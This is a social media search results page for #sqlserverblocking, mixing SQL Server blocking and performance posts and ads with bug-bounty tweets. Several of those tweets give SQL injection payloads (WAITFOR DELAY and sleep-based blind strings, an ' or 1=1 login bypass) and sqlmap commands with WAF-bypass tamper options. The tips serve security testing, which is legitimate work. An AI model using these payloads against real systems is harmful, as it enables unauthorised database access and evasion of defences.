#sqlserverblocking نتائج البحث

Kirill Firsov

٢٣ يونيوم

How to bypass Cloudflare WAF? @FearsOff #bugbountytips #cloudflare #waf #bypass 1. Found an SQL injection but getting blocked by Cloudflare? Here's a pro tip 😏

k_firsov's tweet image. How to bypass Cloudflare WAF?
@FearsOff #bugbountytips #cloudflare #waf #bypass

1. Found an SQL injection but getting blocked by Cloudflare?
Here's a pro tip 😏

Tricky ASP blind SQL Injection in a login page. Confirmed using Blind-boolean method,but it took me hours before I found the right payload - that need to be encoded. Sadly, not triaged yet Payload: `';%20waitfor%20delay%20'0:0:6'%20--%20` #BugBounty #bugbountytips #SQLinjection

nav1n0x's tweet image. Tricky ASP blind SQL Injection in a login page. Confirmed using Blind-boolean method,but it took me hours before I found the right payload - that need to be encoded. Sadly, not triaged yet

Payload: `';%20waitfor%20delay%20'0:0:6'%20--%20`

#BugBounty #bugbountytips #SQLinjection

Serlzo

@serlzo

3 س

This could be blocking your Massive sales!! ‼️

Hussein Nasser

@hnasr

٣ يناير ٢٠٢٤ م

SELECT NAME FROM STUDENTS WHERE ID = 1008; This is the SQL I picked to research what exactly happens when a database query is executed. Going through the parsing, buffer pool memory cache, the file system page cache, the SSD disk controller, the flash translation layer, the SSD…

hnasr's tweet image. SELECT NAME FROM STUDENTS WHERE ID = 1008;

This is the SQL I picked to research what exactly happens when a database query is executed. Going through the parsing, buffer pool memory cache, the file system page cache, the SSD disk controller, the flash translation layer, the SSD…

Pinal Dave

@pinaldave

19 س

🚀 I’ve successfully configured the MCP (Model Context Protocol) Server and hooked it with ChatGPT for my client. Now they can query SQL Server using natural language like: “Find top queries causing high WRITELOG waits in the last hour.” Behind the scenes: 🧩 MSSQL.MCP…

pinaldave's tweet image. 🚀 I’ve successfully configured the MCP (Model Context Protocol) Server and hooked it with ChatGPT for my client.

Now they can query SQL Server using natural language like:

“Find top queries causing high WRITELOG waits in the last hour.”

Behind the scenes:
🧩 MSSQL.MCP…

Bob Ward

@bobwardms

8 س

Today, 32 years ago, a young C+ UNIX developer joined a small PC company to support a new product called #sqlserver starting out on OS/2 and diskettes. I never thought I would still be here and to see what a force this product has become, ground to cloud to fabric.

bobwardms's tweet image. Today, 32 years ago, a young C+ UNIX developer joined a small PC company to support a new product called #sqlserver starting out on OS/2 and diskettes. I never thought I would still be here and to see what a force this product has become, ground to cloud to fabric.

N$

@nav1n0x

٢٥ أبريل ٢٠٢٤ م

Another day, another #SQLInjection. This time, it's in the User-Agent header, leading a full database takeover. Keep testing SQLi on everything and everywhere... #SQL #SQLinjection #BugBounty.

nav1n0x's tweet image. Another day, another #SQLInjection. This time, it's in the User-Agent header, leading a full database takeover. Keep testing SQLi on everything and everywhere... #SQL #SQLinjection #BugBounty.

Pinal Dave

@pinaldave

6 س

Every DBA has faced that moment when SQL Server feels like a silent partner. You look at waits like CXPACKET, WRITELOG, or RESOURCE_SEMAPHORE, run a dozen DMVs, and hope the culprit reveals itself before your coffee gets cold. Let us learn more about SQL SERVER and AI – Setting…

pinaldave's tweet image. Every DBA has faced that moment when SQL Server feels like a silent partner. You look at waits like CXPACKET, WRITELOG, or RESOURCE_SEMAPHORE, run a dozen DMVs, and hope the culprit reveals itself before your coffee gets cold. Let us learn more about SQL SERVER and AI – Setting…

Enderman

@endermanch

١٩ أكتوبرم

Blocking Microsoft activation servers with a firewall (*.mp.microsoft.com, *.sls.microsoft.com) disables Microsoft Store

Full Stack Developer

@hamedesam_dev

12 س

إزاي تكتب Transaction آمن في SQL عشان ماتبوظش الداتا🤔 استخدم BEGIN/COMMIT/ROLLBACK. خليك واعي لمستوى العزل (Isolation Level) وCONCURRENCY. عندك كتابة متعددة؟ فكّر في optimistic locking أو row versioning. ⚠️ إدارة الترنزكشن غلط سبب رئيسي في deadlocks وبيانات مش متناسقة.

hamedesam_dev's tweet image. إزاي تكتب Transaction آمن في SQL عشان ماتبوظش الداتا🤔

استخدم BEGIN/COMMIT/ROLLBACK.

خليك واعي لمستوى العزل (Isolation Level) وCONCURRENCY.

عندك كتابة متعددة؟ فكّر في optimistic locking أو row versioning.
⚠️ إدارة الترنزكشن غلط سبب رئيسي في deadlocks وبيانات مش متناسقة.

Yunus Emre Öztaş

@ynsmroztas

٢٧ مايو ٢٠٢٤ م

new day, new goal 🔥 If you find sql injection and encounter a 403 or waf block, be sure to try tamper scripts and update your sqlmap 🌹🌹🔥🥳🥳 Payload ; sqlmap -r req.txt --risk 3 --level 3 --dbs --tamper=space2comment,space2morehash #BugBounty #BugBountyTips @intigriti

ynsmroztas's tweet image. new day, new goal 🔥

If you find sql injection and encounter a 403 or waf block, be sure to try tamper scripts and update your sqlmap 🌹🌹🔥🥳🥳
Payload ;

sqlmap -r req.txt --risk 3 --level 3 --dbs --tamper=space2comment,space2morehash

#BugBounty #BugBountyTips
@intigriti

Yunus Emre Öztaş

@ynsmroztas

٥ يوليو ٢٠٢٤ م

If you found a syntax error but are stuck with server delay and waf block, be sure to use --delay (with Tor or VPN) so you can solve the problem 🥳🤗 sqlmap -u 'https :// domain[.]X/blablabla.php?kID=1%27' -p parameter --dbs --delay=3 @intigriti #bugbountytips #bugbounty

ynsmroztas's tweet image. If you found a syntax error but are stuck with server delay and waf block, be sure to use --delay (with Tor or VPN) so you can solve the problem 🥳🤗

sqlmap -u 'https :// domain[.]X/blablabla.php?kID=1%27' -p parameter --dbs --delay=3

@intigriti
#bugbountytips #bugbounty

Coffin

@coffinxp7

٢ أغسطس ٢٠٢٤ م

try this extension to detect all types of SQLi+WAFBypass payloads just copy and try manully or you can use intruder for testing timebased sqli just set to resource pool to 1 conqurent request and check the response delay..

coffinxp7's tweet image. try this extension to detect all types of SQLi+WAFBypass payloads just copy and try manully or you can use intruder for testing timebased sqli just set to resource pool to 1 conqurent request and check the response delay..

Joel | Software Architect Guy

@ndohjoel

٢٤ أكتوبرم

𝗧𝗵𝗲 𝗜𝗻𝘃𝗶𝘀𝗶𝗯𝗹𝗲 𝗞𝗶𝗹𝗹𝗲𝗿 𝗼𝗳 𝗦𝗰𝗮𝗹𝗮𝗯𝗶𝗹𝗶𝘁𝘆 💡 Fun fact: Many “slow systems” aren’t suffering from bad hardware — they’re stuck in deadlocks. Think of two banks trying to verify each other’s transaction before proceeding. Both wait. Both timeout. 🧠…

ndohjoel's tweet image. 𝗧𝗵𝗲 𝗜𝗻𝘃𝗶𝘀𝗶𝗯𝗹𝗲 𝗞𝗶𝗹𝗹𝗲𝗿 𝗼𝗳 𝗦𝗰𝗮𝗹𝗮𝗯𝗶𝗹𝗶𝘁𝘆

💡 Fun fact: Many “slow systems” aren’t suffering from bad hardware — they’re stuck in deadlocks.

Think of two banks trying to verify each other’s transaction before proceeding. Both wait. Both timeout.

🧠…

1bdool492 🔻

@abdlah_md

١٥ أغسطس ٢٠٢٢ م

Bug : Blind SQL Injection Tips : X-Forwarded-For: 0'XOR(if(now()=sysdate(),sleep(10),0))XOR'Z #bugbountytip

PlatasSec

@PlatasSec

٤ فبراير ٢٠٢٤ م

Another weekend, another #SQLi found! This time Microsoft SQL Server database vulnerable to stacked queries. Payload ' or 1=1 -- - bypassed the login site, and then confirmed injection point with ';WAITFOR DELAY '0:0:5'-- executing a 5s delay #VPD #BugBounty #security

PlatasSec's tweet image. Another weekend, another #SQLi found! This time Microsoft SQL Server database vulnerable to stacked queries.

Payload ' or 1=1 -- - bypassed the login site, and then confirmed injection point with ';WAITFOR DELAY '0:0:5'-- executing a 5s delay

#VPD #BugBounty #security

N$

@nav1n0x

٣١ أغسطس ٢٠٢٢ م

Found an SQLi using sysdate() based blind SQLi payload: 0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z #SqlInjection #SQLi #bugbountytips #BugBounty

nav1n0x's tweet image. Found an SQLi using sysdate() based blind SQLi payload:

0'XOR(if(now()=sysdate(),sleep(20),0))XOR'Z

#SqlInjection #SQLi #bugbountytips #BugBounty

KaliTut

@xKaliSec

٢٣ مارس ٢٠١٧ م

SQL NIGHTMARE – SQL SERVER EXPLOITATION TOOLS. github.com/rummykhan/SQL-… #sql-server #sql-injection

Richard Heart

@RichardHeartWin

٢ سبتمبرم

PulseChain is so vastly superior to Ethereum L2's its insane. But people are too stupid to listen lol. Look at Starknet, down for hours, dropping transactions. "had a down." Pitiful. I remember when one of their dumbass advisors told me that PulseChain would be unreliable. I was…

RichardHeartWin's tweet image. PulseChain is so vastly superior to Ethereum L2's its insane. But people are too stupid to listen lol. Look at Starknet, down for hours, dropping transactions. "had a down." Pitiful. I remember when one of their dumbass advisors told me that PulseChain would be unreliable. I was…

Will Gates

@WllGates

٢١ يوليو ٢٠٢٤ م

Blind sql injection payload used >'%3bWAITFOR+DELAY+'00%3a00%3a5'-- Microsoft sql server credit: @Gotcha1G #bugbountytips #BugBounty

WllGates's tweet image. Blind sql injection payload used

&gt;'%3bWAITFOR+DELAY+'00%3a00%3a5'--

Microsoft sql server

credit: @Gotcha1G

#bugbountytips #BugBounty

Database Health

@DatabaseHealth

٩ أكتوبرم

Get monitoring scripts with set up instructions to track blocking queries and alert you for #SQLServer. #SQLServerblocking stedman.us/blockingCourse

Database Health

@DatabaseHealth

٢٠ سبتمبرم

Be ahead of the chaos with alerts for #SQLserverBlocking. #SQLserver #blockingInSQLserver #stedmansolutions #sqlblocking stedman.us/blockingCourse

Database Health

@DatabaseHealth

٩ أكتوبر ٢٠٢٤ م

Get monitoring scripts with set up instructions to track blocking queries and alert you for #SQLServer. #SQLServerblocking stedman.us/blockingCourse

Database Health

@DatabaseHealth

٢٠ سبتمبر ٢٠٢٤ م

Be ahead of the chaos with alerts for #SQLserverBlocking. #SQLserver #blockingInSQLserver #stedmansolutions #sqlblocking stedman.us/blockingCourse

Database Health

@DatabaseHealth

٩ أكتوبر ٢٠٢٣ م

Get monitoring scripts with set up instructions to track blocking queries and alert you for #SQLServer. #SQLServerblocking stedman.us/blockingCourse

Database Health

@DatabaseHealth

٢٠ سبتمبر ٢٠٢٣ م

Be ahead of the chaos with alerts for #SQLserverBlocking. #SQLserver #blockingInSQLserver #stedmansolutions #sqlblocking stedman.us/blockingCourse